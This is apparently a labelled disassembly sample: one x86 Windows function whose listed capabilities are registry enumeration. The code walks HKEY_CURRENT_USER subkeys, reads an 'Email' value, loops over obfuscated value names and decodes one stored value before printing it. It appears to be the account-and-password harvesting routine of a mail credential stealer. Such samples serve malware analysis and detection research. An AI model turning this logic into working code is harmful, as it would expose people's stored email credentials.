Function at 0x450b50
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9ec
mov eax, dword [0x4a80a0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x3ff
lea eax, [ebp - 0x9af]
mov byte [ebp - 0x9b0], 0
push 0
push eax
mov esi, ecx
call fcn.004644a0
add esp, 0xc
lea ecx, [ebp - 0x9b0]
call fcn.00451200
movdqu xmm0, xmmword [0x49e780]
lea edx, [ebp - 0x74]
mov ecx, edx
movdqu xmmword [ebp - 0x74], xmm0
call fcn.00447390
lea eax, [ebp - 0x74]
push eax
push str._r_n__s_
push esi
call fcn.00447150
add esp, 0xc
lea eax, [ebp - 0x9b0]
push eax
push str._s___r_n
push esi
call fcn.00447150
movdqu xmm0, xmmword [0x49e790]
mov eax, dword [0x49e7c0]
lea edx, [ebp - 0xac]
add esp, 0xc
mov dword [ebp - 0x7c], eax
mov al, byte [0x49e7c4]
mov ecx, edx
movdqu xmmword [ebp - 0xac], xmm0
mov byte [ebp - 0x78], al
movdqu xmm0, xmmword [0x49e7a0]
movdqu xmmword [ebp - 0x9c], xmm0
movdqu xmm0, xmmword [0x49e7b0]
movdqu xmmword [ebp - 0x8c], xmm0
call fcn.00447390
lea eax, [ebp - 0x9c0]
push eax
push 0x20019
push 0
lea eax, [ebp - 0xac]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4511e5
push 0x100
mov dword [ebp - 0x9d4], eax
lea eax, [ebp - 0x1b0]
push eax
push 0
push dword [ebp - 0x9c0]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp eax, 0x103
je 0x4511d5
lea ecx, [ebp - 0xac]
lea edx, [ecx + 1]
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x450c80
sub ecx, edx
lea edx, [ebp - 0x1b0]
lea edi, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x450c92
sub edx, edi
lea ebx, [ecx + 2]
add ebx, edx
push ebx
call fcn.0046243d
mov edi, eax
add esp, 4
test edi, edi
je 0x4511e5
lea eax, [ebp - 0x1b0]
push eax
lea eax, [ebp - 0xac]
push eax
push 0x49d954
push ebx
push edi
call fcn.0046158b
add esp, 0x14
lea eax, [ebp - 0x9b8]
push eax
push 0x20019
push 0
push edi
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x45119e
push edi
call fcn.004624b3
add esp, 4
mov dword [ebp - 0x9bc], 0
lea eax, [ebp - 0x9bc]
push 0
push 0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push dword [ebp - 0x9b8]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
jne 0x45118e
mov eax, dword [ebp - 0x9bc]
inc eax
push eax
call fcn.0046243d
mov edi, eax
add esp, 4
test edi, edi
je 0x4511e5
mov ecx, dword [ebp - 0x9bc]
lea edx, [ebp - 0x64]
movdqu xmm0, xmmword [0x49e7c8]
mov al, byte [0x49e7da]
mov dword [ebp - 0x9b4], ecx
mov cx, word [0x49e7d8]
mov word [ebp - 0x54], cx
mov ecx, edx
movdqu xmmword [ebp - 0x64], xmm0
mov byte [ebp - 0x52], al
call fcn.00447390
lea eax, [ebp - 0x9b4]
push eax
push edi
push 0
push 0
lea eax, [ebp - 0x64]
push eax
push dword [ebp - 0x9b8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x450dca
mov ecx, edi
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x450db0
sub ecx, edx
je 0x450dca
push edi
push str.___Email_:__s_r_n
push esi
call fcn.00447150
add esp, 0xc
xor al, al
movq xmm0, qword [str._t____]
mov byte [ebp - 0x9c1], al
lea edx, [ebp - 0x1c]
mov eax, dword [0x49e7ec]
mov ecx, edx
mov dword [ebp - 0x1c], eax
movzx eax, byte [0x49e7f0]
mov byte [ebp - 0x18], al
mov eax, dword [str._b1_]
mov dword [ebp - 0x2c], eax
movzx eax, byte [0x49e7f8]
mov byte [ebp - 0x28], al
mov eax, dword [0x49e7fc]
mov dword [ebp - 0xc], eax
movzx eax, byte [0x49e800]
mov byte [ebp - 8], al
movzx eax, byte [0x49e80c]
mov byte [ebp - 0x3c], al
mov eax, dword [str._r4__]
mov dword [ebp - 0x24], eax
movzx eax, byte [0x49e814]
movq qword [ebp - 0x44], xmm0
mov byte [ebp - 0x20], al
call fcn.00447390
lea edx, [ebp - 0x2c]
mov ecx, edx
call fcn.00447390
lea edx, [ebp - 0xc]
mov ecx, edx
call fcn.00447390
lea edx, [ebp - 0x44]
mov ecx, edx
call fcn.00447390
lea edx, [ebp - 0x24]
mov ecx, edx
call fcn.00447390
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x5b0], 0
mov dword [ebp - 0x9e8], eax
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x9e4], eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x9e0], eax
lea eax, [ebp - 0x44]
mov dword [ebp - 0x9dc], eax
lea eax, [ebp - 0x24]
push 0x3ff
mov dword [ebp - 0x9d8], eax
lea eax, [ebp - 0x5af]
push 0
push eax
call fcn.004644a0
mov eax, dword [0x49e818]
lea edx, [ebp - 0x14]
movq xmm0, qword [0x49d618]
add esp, 0xc
mov dword [ebp - 0x14], eax
mov ecx, edx
movzx eax, word [0x49e81c]
mov word [ebp - 0x10], ax
movzx eax, byte [0x49e81e]
mov byte [ebp - 0xe], al
movzx eax, byte [0x49d620]
movq qword [ebp - 0x38], xmm0
movq xmm0, qword [0x49e820]
mov byte [ebp - 0x30], al
movzx eax, word [0x49e828]
movq qword [ebp - 0x50], xmm0
mov word [ebp - 0x48], ax
call fcn.00447390
lea edx, [ebp - 0x38]
mov ecx, edx
call fcn.00447390
lea edx, [ebp - 0x50]
mov ecx, edx
call fcn.00447390
xor eax, eax
mov dword [ebp - 0x9d0], eax
nop
mov ebx, dword [ebp + eax*4 - 0x9e8]
lea eax, [ebp - 0x14]
push eax
push ebx
push str._s__s
lea eax, [ebp - 0x5b0]
push 0x400
push eax
call fcn.0046158b
mov eax, dword [ebp - 0x9bc]
add esp, 0x14
mov dword [ebp - 0x9b4], eax
lea eax, [ebp - 0x9b4]
push eax
push edi
push 0
push 0
lea eax, [ebp - 0x5b0]
push eax
push dword [ebp - 0x9b8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x450fbb
mov ecx, edi
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x450f80
sub ecx, edx
je 0x450fbb
push ebx
push str.____s
push esi
call fcn.00447150
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
push str.__s_:
push esi
call fcn.00447150
add esp, 0xc
push edi
push str._s_r_n
push esi
call fcn.00447150
add esp, 0xc
mov eax, dword [ebp - 0x9bc]
mov dword [ebp - 0x9b4], eax
lea eax, [ebp - 0x38]
push eax
push ebx
push str._s__s
lea eax, [ebp - 0x5b0]
push 0x400
push eax
call fcn.0046158b
add esp, 0x14
lea eax, [ebp - 0x9b4]
push eax
push edi
push 0
push 0
lea eax, [ebp - 0x5b0]
push eax
push dword [ebp - 0x9b8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x45104e
mov eax, edi
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x451010
sub eax, edx
je 0x45104e
push ebx
push str.____s
push esi
call fcn.00447150
add esp, 0xc
lea eax, [esi + 0x404]
push eax
push str.__s_:
push esi
call fcn.00447150
add esp, 0xc
push edi
push str._s_r_n
push esi
call fcn.00447150
add esp, 0xc
mov eax, dword [ebp - 0x9bc]
mov dword [ebp - 0x9b4], eax
lea eax, [ebp - 0x50]
push eax
push ebx
push str._s__s
lea eax, [ebp - 0x5b0]
push 0x400
push eax
call fcn.0046158b
add esp, 0x14
lea eax, [ebp - 0x9b4]
push eax
push edi
push 0
push 0
lea eax, [ebp - 0x5b0]
push eax
push dword [ebp - 0x9b8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x451159
mov eax, dword [ebp - 0x9b4]
test eax, eax
je 0x451159
xor ecx, ecx
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0046243d
add esp, 4
mov dword [ebp - 0x9cc], eax
test eax, eax
je 0x4511e5
mov ecx, dword [ebp - 0x9b4]
add ecx, 0xfffffffe
push ecx
lea ecx, [edi + 2]
push ecx
push eax
call fcn.00464990
mov ecx, dword [ebp - 0x9cc]
add esp, 0xc
call fcn.004512b0
mov edx, eax
mov dword [ebp - 0x9c8], eax
lea eax, [edx + 1]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x451101
sub edx, eax
je 0x45114b
push ebx
push str.____s
push esi
call fcn.00447150
add esp, 0xc
lea eax, [esi + 0x40d]
push eax
push str.__s_:
push esi
call fcn.00447150
add esp, 0xc
push dword [ebp - 0x9c8]
push str._s_r_n
push esi
call fcn.00447150
add esp, 0xc
mov byte [ebp - 0x9c1], 1
push dword [ebp - 0x9cc]
call fcn.004624b3
add esp, 4
mov eax, dword [ebp - 0x9d0]
inc eax
mov dword [ebp - 0x9d0], eax
cmp eax, 5
jl 0x450f20
mov al, byte [ebp - 0x9c1]
test al, al
je 0x451185
push 0x49d700
mov ecx, esi
call fcn.00447190
push edi
call fcn.004624b3
add esp, 4
push dword [ebp - 0x9b8]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call edi
jmp 0x4511a4
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, dword [ebp - 0x9d4]
lea eax, [ebp - 0x1b0]
push 0x100
push eax
inc ebx
push ebx
push dword [ebp - 0x9c0]
mov dword [ebp - 0x9d4], ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
cmp eax, 0x103
jne 0x450c74
push dword [ebp - 0x9c0]
call edi
push dword [ebp - 0x9c0]
call edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0046125f
mov esp, ebp
pop ebp
ret